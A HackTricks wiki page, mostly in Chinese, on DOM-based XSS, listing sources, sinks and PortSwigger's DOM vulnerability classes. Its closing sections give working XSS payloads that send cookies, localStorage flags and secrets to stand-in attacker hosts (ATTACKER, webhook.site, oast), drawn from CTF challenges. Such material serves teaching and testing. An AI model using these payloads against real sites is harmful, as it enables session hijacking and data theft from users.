DOM XSS
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
DOM 漏洞
当来自攻击者可控的 sources(例如 location.search、document.referrer 或 document.cookie)的数据被不安全地传递给 sinks 时,就会发生 DOM 漏洞。Sinks 是函数或对象(例如 eval()、document.body.innerHTML),如果接收到恶意数据,可能会执行或呈现有害内容。
- Sources 是可以被攻击者操纵的输入,包括 URL、cookies 和 web messages。
- Sinks 是潜在危险的端点,恶意数据到达这些位置可能导致不良后果,例如脚本执行。
当数据从 source 流向 sink 而未经过适当验证或净化时,就会产生风险,使得像 XSS 这样的攻击成为可能。
Tip
更完整的 sources 和 sinks 列表请见 https://github.com/wisec/domxsswiki/wiki
Common sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
常见 Sinks:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.
这种类型的 XSS 可能是 最难发现的,因为你需要查看 JS 代码内部,判断它是否在使用任何你可控(其value 由你控制)的对象,在这种情况下,查看是否存在任何滥用方式来执行任意 JS。
查找它们的工具
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- 浏览器扩展,用来检测到达潜在 sink 的每一条数据: https://github.com/kevin-mizu/domloggerpp
示例
Open Redirect
From: https://portswigger.net/web-security/dom-based/open-redirection
Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.
It’s crucial to understand that executing arbitrary code, such as javascript:alert(1), is possible if you have control over the start of the URL where the redirection occurs.
Sinks:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Cookie manipulation
来源: https://portswigger.net/web-security/dom-based/cookie-manipulation
当脚本将可由攻击者控制的数据包含进 cookie 的值时,就会出现 DOM-based cookie-manipulation 漏洞。如果该 cookie 在站点内被使用,该漏洞可能导致网页出现意外行为。此外,如果该 cookie 用于跟踪用户会话,则可能被利用来执行 session fixation attack。与此漏洞相关的主要 sink 是:
Sinks:
document.cookie
JavaScript Injection
来自: https://portswigger.net/web-security/dom-based/javascript-injection
当脚本将可被攻击者控制的数据作为 JavaScript 代码执行时,就会产生基于 DOM 的 JavaScript 注入漏洞。
Sinks:
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
From: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Document-domain manipulation vulnerabilities 会发生在脚本使用攻击者可控的数据设置 document.domain 属性时。
document.domain 属性在浏览器对 same-origin policy 的执行中起着关键作用。当来自不同 origins 的两个页面将它们的 document.domain 设置为 相同的值 时,它们可以不受限制地相互交互。虽然浏览器对可赋值给 document.domain 的值施加了一定的限制,以防止将与页面实际 origin 完全无关的值赋给它,但存在例外。通常,浏览器允许使用 child 或 parent domains。
Sinks:
document.domain
WebSocket-URL poisoning
来源: https://portswigger.net/web-security/dom-based/websocket-url-poisoning
WebSocket-URL poisoning 发生在脚本将 可控数据作为 WebSocket 连接的目标 URL 时。
Sinks:
WebSocket 构造函数可能导致 WebSocket-URL poisoning 漏洞。
Link manipulation
来源: https://portswigger.net/web-security/dom-based/link-manipulation
DOM-based link-manipulation vulnerabilities 发生在脚本将 攻击者可控的数据写入当前页面内的导航目标 时,例如可点击的链接或表单的提交 URL。
Sinks:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
来自: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities 出现在脚本将 attacker-controllable data into an Ajax request 写入使用 XmlHttpRequest 对象发出的请求时。
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Local file-path manipulation vulnerabilities 发生在脚本将 attacker-controllable data to a file-handling API 作为 filename 参数传递时。攻击者可利用此漏洞构造一个 URL,如果其他用户访问该 URL,可能会导致 user’s browser opening or writing an arbitrary local file。
Sinks:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Client-Side SQl injection
From: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilities 发生在脚本以不安全的方式将 可被攻击者控制的数据 合入到客户端 SQL 查询 中。
Sinks:
executeSql()
HTML5-storage manipulation
From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
HTML5-storage manipulation vulnerabilities 出现在脚本在浏览器的 HTML5 存储中存储攻击者可控的数据(localStorage 或 sessionStorage)。虽然此操作本身并非固有的安全漏洞,但如果应用随后读取这些存储的数据并不安全地处理它们,就会产生问题。这可能使攻击者利用存储机制进行其他 DOM-based 攻击,例如 cross-site scripting 和 JavaScript injection。
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
From: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilities 发生在脚本将 攻击者可控的数据合并到 XPath query 中。
Sinks:
document.evaluate()
someDOMElement.evaluate()
Client-side JSON injection
来源: https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilities 发生在脚本将可由攻击者控制的数据包含到一个被解析为 JSON 数据结构的字符串中,然后由应用程序处理时。
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
From: https://portswigger.net/web-security/dom-based/web-message-manipulation
Web-message vulnerabilities 发生在脚本将 攻击者可控制的数据作为 web message 发送到浏览器内的另一个文档 时。有关易受攻击的 Web-message manipulation 的示例可在 PortSwigger’s Web Security Academy 找到。
Sinks:
The postMessage() method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.
DOM-data manipulation
From: https://portswigger.net/web-security/dom-based/dom-data-manipulation
DOM-data manipulation vulnerabilities 发生在脚本将 攻击者可控制的数据写入 DOM 内的某个字段,而该字段被用于可见 UI 或客户端逻辑时。攻击者可以利用此漏洞构造一个 URL,如果被其他用户访问,可能会改变客户端 UI 的外观或行为。
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
From: https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilities 会在脚本将 可被攻击者控制的数据不安全地传递给有问题的平台 API 时发生。这包括一些 API,当调用时,可能导致用户的计算机消耗 过量的 CPU 或 磁盘空间。此类漏洞可能产生严重的副作用,例如浏览器可能通过拒绝尝试在 localStorage 中存储数据或终止繁忙脚本来限制网站的功能。
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
隐式全局变量 & window.name 滥用
在没有声明(var/let/const)的情况下引用 name 会解析为 window.name。由于 window.name 会在跨源导航中保持,攻击者可以用 HTML/JS 预先填充浏览上下文名称,然后让受害者的代码将其作为可信数据呈现:
- 在你控制的具名上下文中打开/导航目标:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- 或者重用
window.open,使用精心构造的目标名称:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
如果应用随后在未经过消毒的情况下执行 element.innerHTML = name(或类似的 sink),由攻击者控制的 window.name 字符串将在目标 origin 中执行,从而导致 DOM XSS 并可访问 same-origin storage。
Admin/automation flows: pre-seeded storage & javascript: navigation
自动化机器人(例如 Playwright)通常先访问一个内部页面,在 localStorage/cookies 中设置 secrets,然后导航到用户提供的 URL。该流程中任何 DOM XSS 原语(包括对 window.name 的滥用)都可以将预置的 secret 外传:
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
如果 bot 不限制 schemes,提供一个 javascript: URL(javascript:fetch(...))会在当前 origin 中执行而无需新的导航,直接 leak 存储值。
模板字面量 innerHTML + 部分消毒缺口
仅对部分字段进行清理,但仍将不可信字段直接插入 innerHTML 的前端,很容易被利用。示例:
fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
reports.forEach(report => {
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> <!-- unsanitized sink -->
`;
});
});
如果未经过清理的字段被存储在服务器端(例如,bug report “details”),该 payload 会对列表中任何有权限的查看者变成 stored DOM XSS。像 <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)> 这样的简单 payload 在 admin 打开页面时会执行并窃取他们的 cookies。
当应用显式禁用 SESSION_COOKIE_HTTPONLY(例如,Flask app.config['SESSION_COOKIE_HTTPONLY'] = False)时,被盗的 cookie 会立即授予 admin 会话,即使签名 secret 在每次启动时都会轮换(随机的 secret_key 阻止伪造,但窃取仍然有效)。
References
- Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise
- HTB: Imagery (stored DOM XSS via partial DOMPurify + session theft)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


